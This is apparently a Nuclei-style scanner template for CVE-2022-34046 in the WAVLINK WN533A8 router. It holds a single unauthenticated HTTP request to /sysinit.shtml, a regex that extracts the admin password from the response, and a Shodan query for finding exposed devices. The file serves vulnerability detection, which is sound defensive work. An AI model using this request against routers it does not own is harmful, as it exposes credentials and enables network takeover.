id: CVE-2022-34046

info:
  name: WAVLINK WN533A8 - Improper Access Control
  author: For3stCo1d
  severity: high
  description: |
    WAVLINK WN533A8 M33A8.V5030.190716 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the entire network.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://drive.google.com/file/d/18ECQEqZ296LDzZ0wErgqnNfen1jCn0mG/view?usp=sharing
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34046
    - http://packetstormsecurity.com/files/167890/Wavlink-WN533A8-Password-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34046
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34046
    cwe-id: CWE-863
    epss-score: 0.14292
    epss-percentile: 0.95577
    cpe: cpe:2.3:o:wavlink:wn533a8_firmware:m33a8.v5030.190716:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn533a8_firmware
    shodan-query: http.title:"Wi-Fi APP Login"
  tags: cve,cve2022,packetstorm,wavlink,router,exposure

http:
  - raw:
      - |
        GET /sysinit.shtml?r=52300 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'var syspasswd="'
          - '<title>APP</title>'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - 'syspasswd="(.+?)"'
# digest: 4a0a004730450220012d32e7af94355d9d79d3210f97d2bdf114e7d81c8a425f14611b6898afdcb2022100d2e6dd7fe5b5f462e9bccc0179f3417fa34f94d1006498add8171cba0ec4af4c:922c64590222798bb761d5b6d8e72950